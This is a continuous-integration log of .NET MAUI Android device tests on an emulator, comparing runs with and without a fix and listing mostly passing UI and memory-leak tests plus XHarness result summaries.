      05-29 09:59:29.087  8713 13631 I DOTNET  : 	[PASS] SwipeItem Size Initializes Correctly
      05-29 09:59:29.098  8713 13631 I DOTNET  : 	[PASS] ScaleXConsistent
      05-29 09:59:29.103  8713 13631 I DOTNET  : 	[PASS] RotationXConsistent
      05-29 09:59:29.108  8713 13631 I DOTNET  : 	[PASS] VerifySwipeViewIsEnabledProperty
      05-29 09:59:29.113  8713 13631 I DOTNET  : 	[PASS] VerifySwipeViewOpacityProperty
      05-29 09:59:29.118  8713 13631 I DOTNET  : 	[PASS] ScaleConsistent
      05-29 09:59:29.122  8713 13631 I DOTNET  : 	[PASS] RotationConsistent
      05-29 09:59:29.127  8713 13631 I DOTNET  : 	[PASS] VerifySwipeViewIsVisibleProperty
      05-29 09:59:29.131  8713 13631 I DOTNET  : 	[PASS] ScaleYConsistent
�[40m�[32minfo�[39m�[22m�[49m: <<XHARNESS_RESULT_START>>
      {
        "version": 1,
        "machineName": "runnervmm79r7",
        "exitCode": 82,
        "exitCodeName": "RETURN_CODE_NOT_SET",
        "platform": "android",
        "device": "emulator-5554",
        "deviceOsVersion": "API 30",
        "architecture": "x86_64",
        "files": [
          {
            "name": "adb-logcat-com.microsoft.maui.controls.devicetests-default.log",
            "type": "logcat"
          }
        ]
      }
      <<XHARNESS_RESULT_END>>
�[40m�[32minfo�[39m�[22m�[49m: Attempting to remove apk 'com.microsoft.maui.controls.devicetests'..
�[40m�[37mdbug�[39m�[22m�[49m: Executing command: '/home/vsts/.nuget/packages/microsoft.dotnet.xharness.cli/11.0.0-prerelease.26230.4/runtimes/any/native/adb/linux/adb -s emulator-5554 uninstall com.microsoft.maui.controls.devicetests'
�[41m�[30mfail�[39m�[22m�[49m: Error: Exit code: 20
      Std out:
      
      
      Std err:
      cmd: Can't find service: package
      
      
      
XHarness exit code: 82 (RETURN_CODE_NOT_SET)
  Tests completed with exit code: 82

🟢 With fix — 📱 ViewTests: PASS ✅ · 1042s

(truncated to last 15,000 chars)

 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:47:23.584 26340 29584 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:47:27.331 26340 29595 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:47:31.068 26340 29606 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:47:34.801 26340 29617 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:47:38.543 26340 29628 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:47:42.273 26340 29640 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:47:45.999 26340 29652 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:47:49.758 26340 29663 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:47:53.473 26340 29674 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:47:57.232 26340 29685 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:48:00.984 26340 29696 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:48:04.731 26340 29707 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:48:08.494 26340 29718 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:48:12.255 26340 29730 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:48:16.015 26340 29741 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:48:20.853 26340 29746 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:48:24.551 26340 29760 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:48:28.330 26340 29771 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:48:32.088 26340 29782 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:48:35.853 26340 29793 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:48:39.625 26340 29804 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:48:45.143 26340 29810 I DOTNET  : 	[PASS] CollectionView Header/Footer Doesn't Leak
      05-29 10:48:53.030 26340 29815 I DOTNET  : 	[PASS] FlyoutPage Detail Navigation Does Not Leak
      05-29 10:48:53.030 26340 29815 I DOTNET  : Microsoft.Maui.DeviceTests.Memory.MemoryTests 258.9285913 ms
      05-29 10:48:53.030 26340 29815 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.BoxViewTests
      05-29 10:48:53.036 26340 29815 I DOTNET  : 	[PASS] VerifyBoxViewIsVisibleProperty
      05-29 10:48:53.039 26340 29815 I DOTNET  : 	[PASS] ScaleXConsistent
      05-29 10:48:53.156 26340 29820 I DOTNET  : 	[PASS] BoxView Initializes Correctly
      05-29 10:48:53.272 26340 29825 I DOTNET  : 	[PASS] BoxView Initializes Correctly
      05-29 10:48:53.391 26340 29830 I DOTNET  : 	[PASS] BoxView Initializes Correctly
      05-29 10:48:53.506 26340 29835 I DOTNET  : 	[PASS] BoxViewBackgroundConsistent
      05-29 10:48:53.623 26340 29840 I DOTNET  : 	[PASS] BoxViewBackgroundColorConsistent
      05-29 10:48:53.625 26340 29840 I DOTNET  : 	[PASS] RotationXConsistent
      05-29 10:48:53.629 26340 29840 I DOTNET  : 	[PASS] VerifyBoxViewOpacityProperty
      05-29 10:48:53.631 26340 29840 I DOTNET  : 	[PASS] ScaleYConsistent
      05-29 10:48:53.648 26340 29840 I DOTNET  : 	[PASS] RotationYConsistent
      05-29 10:48:53.660 26340 29840 I DOTNET  : 	[PASS] ScaleConsistent
      05-29 10:48:53.662 26340 29840 I DOTNET  : 	[PASS] BoxViewTranslationConsistent
      05-29 10:48:53.665 26340 29840 I DOTNET  : 	[PASS] VerifyBoxViewIsEnabledProperty
      05-29 10:48:53.667 26340 29840 I DOTNET  : 	[PASS] RotationConsistent
      05-29 10:48:53.667 26340 29840 I DOTNET  : Microsoft.Maui.DeviceTests.BoxViewTests 0.6223240 ms
      05-29 10:48:53.667 26340 29840 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.FormattedStringTests
      05-29 10:48:53.678 26340 29840 I DOTNET  : 	[PASS] NativeFormattedStringContainsSpan
      05-29 10:48:53.678 26340 29840 I DOTNET  : Microsoft.Maui.DeviceTests.FormattedStringTests 0.0106929 ms
      05-29 10:48:53.678 26340 29840 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.LabelTests
      05-29 10:48:53.692 26340 29840 I DOTNET  : 	[PASS] FormattedStringSpanTextTransformOverridesLabelTextTransform
      05-29 10:48:53.822 26340 29845 I DOTNET  : 	[PASS] FontStuffAfterTextTypeIsCorrect
      05-29 10:48:53.826 26340 29845 I DOTNET  : 	[PASS] VerifyLabelIsVisibleProperty
      05-29 10:48:53.833 26340 29845 I DOTNET  : 	[PASS] Html Text Initializes Correctly
      05-29 10:48:53.836 26340 29845 I DOTNET  : 	[PASS] Negative MaxLines value with wrap is correct
      05-29 10:48:53.948 26340 29850 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 10:48:54.060 26340 29855 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 10:48:54.177 26340 29860 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 10:48:54.296 26340 29865 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 10:48:54.413 26340 29870 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 10:48:54.588 26340 29875 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 10:48:54.694 26340 29880 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 10:48:54.813 26340 29885 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 10:48:54.935 26340 29890 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 10:48:55.063 26340 29895 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 10:48:55.189 26340 29900 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 10:48:55.295 26340 29905 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 10:48:55.317 26340 29911 I DOTNET  : 	[PASS] VerifyLabelOpacityProperty
      05-29 10:48:55.438 26340 29916 I DOTNET  : 	[PASS] FontStuffAppliesEvenInHtmlMode
      05-29 10:48:55.441 26340 29916 I DOTNET  : 	[PASS] LabelTranslationConsistent
      05-29 10:48:55.446 26340 29916 I DOTNET  : 	[PASS] TextTransformUpdated
      05-29 10:48:55.450 26340 29916 I DOTNET  : 	[PASS] TextTransformUpdated
      05-29 10:48:55.451 26340 29916 I DOTNET  : 	[PASS] ScaleXConsistent
      05-29 10:48:55.454 26340 29916 I DOTNET  : 	[PASS] TextColorAppliesEvenInHtmlMode
      05-29 10:48:55.454 26340 29916 I DOTNET  : 	[PASS] Vertical text aligned when RTL is not supported
      05-29 10:48:55.456 26340 29916 I DOTNET  : 	[PASS] Using TailTruncation LineBreakMode with 2 MaxLines
      05-29 10:48:55.458 26340 29916 I DOTNET  : 	[PASS] LineBreakMode TailTruncation does not affect MaxLines
      05-29 10:48:55.458 26340 29916 I DOTNET  : 	[PASS] Horizontal text aligned when RTL is not supported
      05-29 10:48:55.849 26340 29921 I DOTNET  : 	[PASS] UpdatingFormattedTextResultsInTheSameLayout
      05-29 10:48:56.253 26340 29926 I DOTNET  : 	[PASS] UpdatingFormattedTextResultsInTheSameLayout
      05-29 10:48:56.662 26340 29931 I DOTNET  : 	[PASS] UpdatingFormattedTextResultsInTheSameLayout
      05-29 10:48:57.206 26340 29936 I DOTNET  : 	[PASS] FormattedStringSpanTextHasCorrectColorWhenChangedAfterCreation
      05-29 10:48:57.442 26340 29941 I DOTNET  : 	[PASS] FormattedStringSpanTextHasCorrectColorWhenChanges
      05-29 10:48:57.534 26340 29947 I DOTNET  : 	[PASS] LineBreakMode does not affect MaxLines
      05-29 10:48:57.537 26340 29947 I DOTNET  : 	[PASS] RotationConsistent
      05-29 10:48:57.891 26340 29952 I DOTNET  : 	[PASS] FormattedStringSpanTextHasCorrectLayoutWhenAligned
      05-29 10:48:58.248 26340 29957 I DOTNET  : 	[PASS] FormattedStringSpanTextHasCorrectLayoutWhenAligned
      05-29 10:48:58.623 26340 29962 I DOTNET  : 	[PASS] FormattedStringSpanTextHasCorrectLayoutWhenAligned
      05-29 10:48:58.627 26340 29962 I DOTNET  : 	[PASS] MaxLines Initializes Correctly
      05-29 10:48:58.629 26340 29962 I DOTNET  : 	[PASS] RotationXConsistent
      05-29 10:48:58.631 26340 29962 I DOTNET  : 	[PASS] LineBreakMode Initializes Correctly
      05-29 10:48:58.633 26340 29962 I DOTNET  : 	[PASS] InitialTextTransformApplied
      05-29 10:48:58.645 26340 29962 I DOTNET  : 	[PASS] InitialTextTransformApplied
      05-29 10:48:58.647 26340 29962 I DOTNET  : 	[PASS] RotationYConsistent
      05-29 10:48:58.651 26340 29962 I DOTNET  : 	[PASS] Single LineBreakMode changes MaxLines
      05-29 10:48:58.653 26340 29962 I DOTNET  : 	[PASS] VerifyLabelIsEnabledProperty
      05-29 10:48:58.654 26340 29962 I DOTNET  : 	[IGNORED] InitialFormattedTextMatchesText
      05-29 10:48:58.658 26340 29962 I DOTNET  : 	[PASS] TextTypeAfterFontStuffIsCorrect
      05-29 10:48:58.660 26340 29962 I DOTNET  : 	[PASS] ScaleYConsistent
      05-29 10:48:58.663 26340 29962 I DOTNET  : 	[PASS] ScaleConsistent
      05-29 10:49:00.980 26340 29967 I DOTNET  : 	[PASS] ChangingTextTypeWithFormattedTextSwitchesTextSource
      05-29 10:49:00.992 26340 29973 I DOTNET  : 	[PASS] FormattedStringSpanTextTransformApplied
      05-29 10:49:00.997 26340 29973 I DOTNET  : 	[PASS] FormattedStringSpanTextTransformApplied
      05-29 10:49:01.126 26340 29978 I DOTNET  : 	[PASS] LabelBackgroundColorConsistent
      05-29 10:49:04.940 26340 29989 I DOTNET  : 	[PASS] Does Not Leak
      05-29 10:49:04.943 26340 29989 I DOTNET  : 	[PASS] Unsetting single LineBreakMode resets MaxLines
      05-29 10:49:04.944 26340 29989 I DOTNET  : 	[PASS] Unsetting single LineBreakMode resets MaxLines
      05-29 10:49:04.944 26340 29989 I DOTNET  : Microsoft.Maui.DeviceTests.LabelTests 11.2095183 ms
      05-29 10:49:04.945 26340 29989 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.FrameTests
      05-29 10:49:05.072 26340 29995 I DOTNET  : 	[PASS] Frame Respects minimum height/width
      05-29 10:49:05.250 26340 30001 I DOTNET  : 	[PASS] FrameIncludesPadding
      05-29 10:49:06.426 26340 30007 I DOTNET  : 	[PASS] FrameContentAccountsForBorderThickness
      05-29 10:49:06.586 26340 30012 I DOTNET  : 	[PASS] Update Frame Content Test
      05-29 10:49:06.594 26340 30012 I DOTNET  : 	[PASS] Frame BorderColor Initializes Correctly
      05-29 10:49:06.674 26340 30017 I DOTNET  : 	[PASS] Frame BorderColor Initializes Correctly
      05-29 10:49:06.681 26340 30017 I DOTNET  : 	[PASS] Frame BorderColor Initializes Correctly
      05-29 10:49:07.155 26340 30023 I DOTNET  : 	[PASS] FrameIncludesBorderThickness
      05-29 10:49:07.277 26340 30030 I DOTNET  : 	[PASS] Frame With Entry Measures
      05-29 10:49:07.435 26340 30036 I DOTNET  : 	[PASS] FrameDoesNotInterpretConstraintsAsMinimums
      05-29 10:49:07.447 26340 30036 I DOTNET  : 	[PASS] Frame BackgroundColor Initializes Correctly
      05-29 10:49:07.471 26340 30041 I DOTNET  : 	[PASS] Frame BackgroundColor Initializes Correctly
      05-29 10:49:07.508 26340 30041 I DOTNET  : 	[PASS] Frame BackgroundColor Initializes Correctly
      05-29 10:49:08.003 26340 30046 I DOTNET  : 	[PASS] Basic Frame Test
      05-29 10:49:08.139 26340 30052 I DOTNET  : 	[PASS] FramesWithinFrames
      05-29 10:49:08.246 26340 30058 I DOTNET  : 	[PASS] FramesWithinFrames
      05-29 10:49:08.365 26340 30064 I DOTNET  : 	[PASS] FramesWithinFrames
      05-29 10:49:08.483 26340 30070 I DOTNET  : 	[PASS] FramesWithinFrames
      05-29 10:49:08.488 26340 30070 I DOTNET  : Microsoft.Maui.DeviceTests.FrameTests 3.4920310 ms
      05-29 10:49:08.489 26340 30070 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.EntryTests
      05-29 10:49:08.590 26340 30076 I DOTNET  : 	[PASS] ScaleXConsistent
      05-29 10:49:08.596 26340 30076 I DOTNET  : 	[PASS] MaxLengthTrims
      05-29 10:49:08.601 26340 30076 I DOTNET  : 	[PASS] EntryMaxLengthAndTextOrder_RespectsMaxLength
      05-29 10:49:08.606 26340 30076 I DOTNET  : 	[PASS] VerifyEntryIsVisibleProperty
      05-29 10:49:08.612 26340 30076 I DOTNET  : 	[PASS] ChangingPlatformTextPreservesTextTransform
      05-29 10:49:08.617 26340 30076 I DOTNET  : 	[PASS] ChangingPlatformTextPreservesTextTransform
      05-29 10:49:08.621 26340 30076 I DOTNET  : 	[PASS] ScaleConsistent
      05-29 10:49:08.650 26340 30082 I DOTNET  : 	[PASS] Entry with longer text and short text updates correctly
      05-29 10:49:08.656 26340 30082 I DOTNET  : 	[PASS] InitializingTextTransformBeforeTextShouldUpdateTextProperty
      05-29 10:49:08.661 26340 30082 I DOTNET  : 	[PASS] RotationYConsistent
      05-29 10:49:08.665 26340 30082 I DOTNET  : 	[PASS] EntryTranslationConsistent
      05-29 10:49:08.693 26340 30087 I DOTNET  : 	[PASS] Android crash when Entry has more than 5000 characters
      05-29 10:49:08.698 26340 30087 I DOTNET  : 	[PASS] UpdateTextWithTextLongerThanMaxLength
      05-29 10:49:08.705 26340 30087 I DOTNET  : 	[PASS] VerifyEntryOpacityProperty
      05-29 10:49:08.826 26340 30092 I DOTNET  : 	[PASS] EntryBackgroundColorConsistent
      05-29 10:49:08.858 26340 30092 I DOTNET  : 	[PASS] SelectionLengthRightToLeft
      05-29 10:49:08.868 26340 30092 I DOTNET  : 	[PASS] RotationXConsistent
      05-29 10:49:08.874 26340 30092 I DOTNET  : 	[PASS] CursorPositionPreservedWhenTextTransformPresent
      05-29 10:49:08.879 26340 30092 I DOTNET  : 	[PASS] ScaleYConsistent
      05-29 10:49:08.883 26340 30092 I DOTNET  : 	[PASS] RotationConsistent
      05-29 10:49:08.883 26340 30092 I DOTNET  : Microsoft.Maui.DeviceTests.EntryTests 0.3840892 ms
      05-29 10:49:08.883 26340 30092 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.DispatchingTests
      05-29 10:49:09.387 26340 30097 I DOTNET  : 	[PASS] DispatchFromBackgroundThread
      05-29 10:49:09.387 26340 30097 I DOTNET  : Microsoft.Maui.DeviceTests.DispatchingTests 0.5026636 ms
      05-29 10:49:09.423 26340 26370 I DOTNET  : Xml file was written to the provided writer.
      05-29 10:49:09.424 26340 26370 I DOTNET  : Tests run: 955 Passed: 942 Inconclusive: 0 Failed: 0 Ignored: 0
      05-29 10:49:10.499 30100 30100 D DOTNET  : AndroidCryptoNative_InitLibraryOnLoad: jint AndroidCryptoNative_InitLibraryOnLoad(JavaVM *, void *) in /__w/1/s/src/runtime/src/native/libs/System.Security.Cryptography.Native.Android/pal_jni.c
      05-29 10:49:10.500 30100 30100 D DOTNET  : GetOptionalClassGRef: optional class com/android/org/conscrypt/OpenSSLEngineImpl was not found
�[40m�[32minfo�[39m�[22m�[49m: <<XHARNESS_RESULT_START>>
      {
        "version": 1,
        "machineName": "runnervmm79r7",
        "exitCode": 0,
        "exitCodeName": "SUCCESS",
        "platform": "android",
        "instrumentationExitCode": 0,
        "device": "emulator-5554",
        "deviceOsVersion": "API 30",
        "architecture": "x86_64",
        "files": [
          {
            "name": "testResults.xml",
            "type": "test-results"
          },
          {
            "name": "adb-logcat-com.microsoft.maui.controls.devicetests-default.log",
            "type": "logcat"
          }
        ]
      }
      <<XHARNESS_RESULT_END>>
�[40m�[32minfo�[39m�[22m�[49m: Attempting to remove apk 'com.microsoft.maui.controls.devicetests'..
�[40m�[37mdbug�[39m�[22m�[49m: Executing command: '/home/vsts/.nuget/packages/microsoft.dotnet.xharness.cli/11.0.0-prerelease.26230.4/runtimes/any/native/adb/linux/adb -s emulator-5554 uninstall com.microsoft.maui.controls.devicetests'
�[40m�[32minfo�[39m�[22m�[49m: Successfully uninstalled com.microsoft.maui.controls.devicetests
XHarness exit code: 0
  Tests completed successfully

🔴 Without fix — 📱 WindowHandlerStub: PASS ❌ · 1154s

(truncated to last 15,000 chars)

arentUpdatesCorrectlyOnPlatformView
      05-29 10:14:54.029 19435 22760 I DOTNET  : 	[PASS] InputTransparentUpdatesCorrectlyOnPlatformView
      05-29 10:14:54.133 19435 22765 I DOTNET  : 	[PASS] GridCellsHonorMaxWidth
      05-29 10:14:54.252 19435 22771 I DOTNET  : 	[PASS] CascadeInputTransparentAppliesOnUpdate
      05-29 10:14:54.319 19435 22771 I DOTNET  : 	[PASS] CascadeInputTransparentAppliesOnUpdate
      05-29 10:14:54.596 19435 22777 I DOTNET  : 	[PASS] ButtonWithImageInFlexLayoutInGridDoesNotCycle
      05-29 10:14:54.707 19435 22782 I DOTNET  : 	[PASS] GridAddAndRemoveChildrenViaIndex
      05-29 10:14:54.965 19435 22787 I DOTNET  : 	[PASS] MinimumSizeRequestsCanBeCleared
      05-29 10:14:54.965 19435 22787 I DOTNET  : Microsoft.Maui.DeviceTests.LayoutTests 1.8761712 ms
      05-29 10:14:54.965 19435 22787 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.HybridWebViewTests_SendRawMessage
      05-29 10:14:56.644 19435 22793 I DOTNET  : 	[PASS] LoadsHtmlAndSendReceiveRawMessage
      05-29 10:14:56.644 19435 22793 I DOTNET  : Microsoft.Maui.DeviceTests.HybridWebViewTests_SendRawMessage 1.6780092 ms
      05-29 10:14:56.644 19435 22793 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.FormattedStringTests
      05-29 10:14:56.716 19435 22799 I DOTNET  : 	[PASS] NativeFormattedStringContainsSpan
      05-29 10:14:56.717 19435 22799 I DOTNET  : Microsoft.Maui.DeviceTests.FormattedStringTests 0.0712169 ms
      05-29 10:14:56.717 19435 22799 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.Memory.MemoryTests
      05-29 10:15:00.155 19435 22804 I DOTNET  : 	[PASS] Gesture Does Not Leak
      05-29 10:15:03.707 19435 22809 I DOTNET  : 	[PASS] Gesture Does Not Leak
      05-29 10:15:07.230 19435 22814 I DOTNET  : 	[PASS] Gesture Does Not Leak
      05-29 10:15:10.792 19435 22819 I DOTNET  : 	[PASS] Gesture Does Not Leak
      05-29 10:15:14.218 19435 22824 I DOTNET  : 	[PASS] Gesture Does Not Leak
      05-29 10:15:17.705 19435 22829 I DOTNET  : 	[PASS] Gesture Does Not Leak
      05-29 10:15:21.272 19435 22834 I DOTNET  : 	[PASS] Gesture Does Not Leak
      05-29 10:15:24.963 19435 22845 I DOTNET  : 	[PASS] VisualDiagnosticsOverlay Does Not Leak
      05-29 10:15:30.341 19435 22851 I DOTNET  : 	[PASS] Cells Do Not Leak
      05-29 10:15:35.689 19435 22858 I DOTNET  : 	[PASS] Cells Do Not Leak
      05-29 10:15:41.196 19435 22863 I DOTNET  : 	[PASS] Cells Do Not Leak
      05-29 10:15:46.615 19435 22868 I DOTNET  : 	[PASS] Cells Do Not Leak
      05-29 10:15:52.270 19435 22873 I DOTNET  : 	[PASS] Cells Do Not Leak
      05-29 10:15:55.151 19435 22878 I DOTNET  : 	[PASS] BindableLayout Does Not Leak
      05-29 10:16:00.265 19435 22883 I DOTNET  : 	[PASS] Pages Do Not Leak
      05-29 10:16:08.856 19435 22888 I DOTNET  : 	[PASS] Pages Do Not Leak
      05-29 10:16:17.204 19435 22893 I DOTNET  : 	[PASS] Pages Do Not Leak
      05-29 10:16:20.156 19435 22898 I DOTNET  : 	[PASS] TweenersWillNotLeakDuringInfiniteAnimation
      05-29 10:16:37.223 19435 22904 I DOTNET  : 	[PASS] Window Does Not Leak
      05-29 10:16:40.971 19435 22915 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:16:44.670 19435 22926 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:16:48.373 19435 22937 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:16:52.083 19435 22948 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:16:55.823 19435 22959 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:16:59.531 19435 22970 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:17:03.254 19435 22981 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:17:06.956 19435 22992 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:17:10.680 19435 22997 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:17:14.383 19435 23008 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:17:18.093 19435 23019 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:17:21.807 19435 23024 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:17:25.535 19435 23040 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:17:29.238 19435 23051 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:17:32.946 19435 23063 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:17:36.652 19435 23074 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:17:40.355 19435 23085 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:17:44.070 19435 23098 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:17:47.782 19435 23109 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:17:51.482 19435 23120 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:17:55.191 19435 23131 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:17:58.888 19435 23142 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:18:02.607 19435 23153 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:18:06.323 19435 23164 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:18:10.023 19435 23175 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:18:13.732 19435 23187 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:18:17.438 19435 23198 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:18:21.152 19435 23209 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:18:24.885 19435 23220 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:18:28.608 19435 23231 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:18:32.370 19435 23243 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:18:36.093 19435 23256 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:18:41.472 19435 23273 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:18:45.173 19435 23284 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:18:48.886 19435 23295 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:18:52.646 19435 23306 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:18:56.388 19435 23317 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:19:00.153 19435 23328 I DOTNET  : 	[PASS] Handler Does Not Leak
      05-29 10:19:05.730 19435 23334 I DOTNET  : 	[PASS] CollectionView Header/Footer Doesn't Leak
      05-29 10:19:13.570 19435 23339 I DOTNET  : 	[PASS] FlyoutPage Detail Navigation Does Not Leak
      05-29 10:19:13.571 19435 23339 I DOTNET  : Microsoft.Maui.DeviceTests.Memory.MemoryTests 256.8215372 ms
      05-29 10:19:13.571 19435 23339 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.RadioButtonTests
      05-29 10:19:13.847 19435 23344 I DOTNET  : 	[PASS] Issue 34322 - Explicit SemanticDescription is not overwritten by content-derived semantics
      05-29 10:19:14.114 19435 23349 I DOTNET  : 	[PASS] Issue 34322 - Templated RadioButton uses content label for semantics
      05-29 10:19:18.977 19435 23354 I DOTNET  : 	[PASS] RadioButtonHandlerShouldNotLeak
      05-29 10:19:18.977 19435 23354 I DOTNET  : Microsoft.Maui.DeviceTests.RadioButtonTests 5.4039592 ms
      05-29 10:19:18.977 19435 23354 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.Memory.WindowOverlayTests
      05-29 10:19:20.669 19435 23359 I DOTNET  : 	[PASS] Does Not Leak
      05-29 10:19:20.670 19435 23359 I DOTNET  : Microsoft.Maui.DeviceTests.Memory.WindowOverlayTests 1.6917739 ms
      05-29 10:19:20.670 19435 23359 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.FrameHandlerTest
      05-29 10:19:20.679 19435 23364 I DOTNET  : 	[PASS] Setting Semantic Hint makes element accessible
      05-29 10:19:20.686 19435 23364 I DOTNET  : 	[PASS] MinimumHeightInitializes
      05-29 10:19:20.688 19435 23364 I DOTNET  : 	[PASS] MinimumHeightInitializes
      05-29 10:19:20.688 19435 23364 I DOTNET  : 	[PASS] HandlersHaveAllExpectedContructors
      05-29 10:19:20.691 19435 23364 I DOTNET  : 	[PASS] Native View Bounds are not empty
      05-29 10:19:20.694 19435 23364 I DOTNET  : 	[PASS] Native View Bounds are not empty
      05-29 10:19:20.710 19435 23364 I DOTNET  : 	[PASS] Null Semantics Doesnt throw exception
      05-29 10:19:20.713 19435 23364 I DOTNET  : 	[PASS] DisconnectHandlerDoesntCrash
      05-29 10:19:20.718 19435 23364 I DOTNET  : 	[PASS] Clip Initializes ContainerView Correctly
      05-29 10:19:20.732 19435 23364 I DOTNET  : 	[PASS] PlatformView Transforms are not empty
      05-29 10:19:20.735 19435 23364 I DOTNET  : 	[PASS] PlatformView Transforms are not empty
      05-29 10:19:20.739 19435 23364 I DOTNET  : 	[PASS] RotationX Initialize Correctly
      05-29 10:19:20.744 19435 23364 I DOTNET  : 	[PASS] RotationX Initialize Correctly
      05-29 10:19:20.744 19435 23364 I DOTNET  : 	[IGNORED] Semantic Hint is set correctly
      05-29 10:19:20.753 19435 23364 I DOTNET  : 	[PASS] Semantic Heading is set correctly
      05-29 10:19:20.758 19435 23364 I DOTNET  : 	[PASS] Opacity is set correctly
      05-29 10:19:20.763 19435 23364 I DOTNET  : 	[PASS] Opacity is set correctly
      05-29 10:19:21.282 19435 23369 I DOTNET  : 	[PASS] ContainerView Adds And Removes
      05-29 10:19:21.346 19435 23369 I DOTNET  : 	[PASS] RotationY Initialize Correctly
      05-29 10:19:21.426 19435 23369 I DOTNET  : 	[PASS] RotationY Initialize Correctly
      05-29 10:19:21.448 19435 23369 I DOTNET  : 	[PASS] View Renders To Image
      05-29 10:19:21.459 19435 23369 I DOTNET  : 	[PASS] View Renders To Image
      05-29 10:19:21.465 19435 23369 I DOTNET  : 	[PASS] ScaleX Initialize Correctly
      05-29 10:19:21.469 19435 23369 I DOTNET  : 	[PASS] ScaleX Initialize Correctly
      05-29 10:19:21.472 19435 23369 I DOTNET  : 	[PASS] TranslationX Initialize Correctly
      05-29 10:19:21.474 19435 23369 I DOTNET  : 	[PASS] TranslationX Initialize Correctly
      05-29 10:19:21.474 19435 23369 I DOTNET  : 	[IGNORED] Semantic Description is set correctly
      05-29 10:19:21.476 19435 23369 I DOTNET  : 	[PASS] NeedsContainerWhenInputTransparent
      05-29 10:19:21.478 19435 23369 I DOTNET  : 	[PASS] Automation Id is set correctly
      05-29 10:19:21.486 19435 23369 I DOTNET  : 	[PASS] FlowDirection is set correctly
      05-29 10:19:21.487 19435 23369 I DOTNET  : 	[PASS] FlowDirection is set correctly
